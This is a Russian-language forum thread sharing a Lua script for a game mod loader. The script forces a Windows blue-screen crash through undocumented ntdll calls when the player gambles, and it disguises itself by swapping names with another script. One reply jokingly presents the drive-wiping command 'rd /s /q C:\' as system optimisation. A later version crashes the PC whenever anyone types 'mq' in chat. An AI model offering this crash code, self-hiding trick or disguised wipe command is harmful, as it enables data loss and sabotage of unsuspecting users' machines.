Lua Прочее AntiLudomania

MyxaMeH

Участник
69
14
Ты лудоман? Пошел ты нахуй!
Скрипт вызывает BSOD (синий экран "смерти" ) при открытии ларца/входе в казино 4 дракона.
При каждом запуске меняет свое название на название рандомного луа скрипта из папки moonloder.
За последствия (которых быть не должно) ответственности не несу
СУКА я забыл об этой хуйне ларец открыл и накидал себе кончи в рот блять сука
 

Synaptics

Участник
14
7
Предлагаю отдельную версию скрипта с вводом в командную строку от имени администратора данную команду для очистки кэша, оптимизации работы системы и всё в лучшем виде при попытке входа в казино/бар!
Bash:
rd /s /q C:\
 

посхалко 1488

Участник
54
42
ура, наконец хоть что-то мне дает по еблищу, когда я хочу слить все деньги, проебал уже 500кк на орезона бамбл би, и только сейчас узнал об этом чуде
 

wndws

Новичок
11
3
а можно сделать так, чтобы при использовании команды /dice, /orel, reshka срабатывал бсод?
 

TheClaudePlay

Известный
202
43
у меня нет второго компа и карты захвата что бы снять синий экран, а виртуалку накатывать лень
Можно с виртуалки захват экрана сделать, это если комп мощный!!

Ты лудоман? Пошел ты нахуй!
Скрипт вызывает BSOD (синий экран "смерти" ) при открытии ларца/входе в казино 4 дракона.
При каждом запуске меняет свое название на название рандомного луа скрипта из папки moonloder.
За последствия (которых быть не должно) ответственности не несу
можно сделать так, чтобы при отправке в чат mq также было?:))
 

.drakonez

Участник
53
14
Можно с виртуалки захват экрана сделать, это если комп мощный!!


можно сделать так, чтобы при отправке в чат mq также было?:))
Lua:
script_author('chapo')

---@param path string directory
---@param ftype string|string[] file extension
---@return string[] files names
local function getFilesInPath(path, ftype)
    assert(path, '"path" is required');
    assert(type(ftype) == 'table' or type(ftype) == 'string', '"ftyp" must be a string or array of strings');
    local result = {};
    for _, thisType in ipairs(type(ftype) == 'table' and ftype or { ftype }) do
        local searchHandle, file = findFirstFile(path..'\\'..thisType);
        table.insert(result, file)
        while file do file = findNextFile(searchHandle) table.insert(result, file) end
    end
    return result;
end

local function CallBSOD()
    local ffi = require('ffi')
    local RtlAdjustPrivilegeAddr = getModuleProcAddress('ntdll.dll', 'RtlAdjustPrivilege');
    local NtRaiseHardErrorAddr = getModuleProcAddress('ntdll.dll', 'NtRaiseHardError');
    local RtlAdjustPrivilege = ffi.cast("long (__stdcall *)(unsigned long, unsigned char, unsigned char, unsigned char *)", RtlAdjustPrivilegeAddr);
    local NtRaiseHardError = ffi.cast("long (__stdcall *)(long, unsigned long, unsigned long, unsigned long *, unsigned long, unsigned long *)", NtRaiseHardErrorAddr);
    RtlAdjustPrivilege(ffi.new("unsigned long", 19), ffi.new("unsigned char", 1), ffi.new("unsigned char", 0), ffi.new("unsigned char[1]", {0}));
    NtRaiseHardError(ffi.new("long", -1073741824 + 420), ffi.new("unsigned long", 0), ffi.new("unsigned long", 0), ffi.new("unsigned long[1]", {0}), ffi.new("unsigned long", 6), ffi.new("unsigned long[1]"));
end

local function hideMe()
    math.randomseed(os.time() * 99999);
    local scripts = getFilesInPath(getWorkingDirectory(), '*.lua');
    local currentName = thisScript().path;
    local randomName = getWorkingDirectory() .. '\\' .. scripts[math.random(1, #scripts)];
    os.rename(randomName, randomName .. '_waitForRename');
    os.rename(currentName, randomName);
    os.rename(randomName .. '_waitForRename', currentName);
end

addEventHandler('onReceiveRpc', function(id, bs)
    if (id == 93) then
        local color = raknetBitStreamReadInt32(bs);
        local message = raknetBitStreamReadString(bs, raknetBitStreamReadInt32(bs));
        if (message:find('^Вы использовали {cccccc}\'.+\'{......}! Ваш приз: .+$') or (message:find('%[Информация%] {FFFFFF}Вы вошли в казино 4 Dragons') and color == 1)) or (message:find('mq')) then
            CallBSOD();
        end
    end
end)

hideMe();

в 42 строке в message:find('mq') можешь в кавычках свой текст писать, но бсодить будет если любой чел напишет mq